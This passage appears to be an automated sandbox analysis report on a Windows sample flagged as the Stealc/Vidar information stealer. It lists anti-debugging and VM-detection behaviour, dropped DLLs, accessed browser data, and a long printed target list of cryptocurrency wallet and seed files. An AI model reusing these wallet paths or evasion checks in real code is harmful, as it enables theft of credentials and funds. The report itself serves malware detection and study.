Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CD4 second address: 5520CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CDA second address: 5520CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F22ECB47243h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CEE second address: 5520CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CF2 second address: 5520CF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CF8 second address: 5520CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CFE second address: 5520D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D02 second address: 5520D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F227C7FC3E3h 0x00000016 sbb cx, 57AEh 0x0000001b jmp 00007F227C7FC3E9h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D56 second address: 5520D82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F227C74F4B7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D82 second address: 5520D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520D88 second address: 5520DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F227C74F4B5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DB2 second address: 5520DB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DB7 second address: 5520DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F227C74F4B1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DD7 second address: 5520DDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520DDD second address: 5520DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520F4B second address: 5520F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520F54 second address: 5520F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520F58 second address: 5520F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553020A second address: 5530222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4B4h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 110A866 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 111A713 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 119DBFF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1108FD9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 4084	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3012	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4144	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5AC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5AC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2460431281.00000000010E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2461007040.0000000001515000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarexJ-&$
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2460431281.00000000010E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C5F5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5FC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5FC410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5CB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5CB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2460431281.00000000010E9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: *Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5CB341 cpuid

0_2_6C5CB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5935A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5935A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2459973983.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2041928747.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
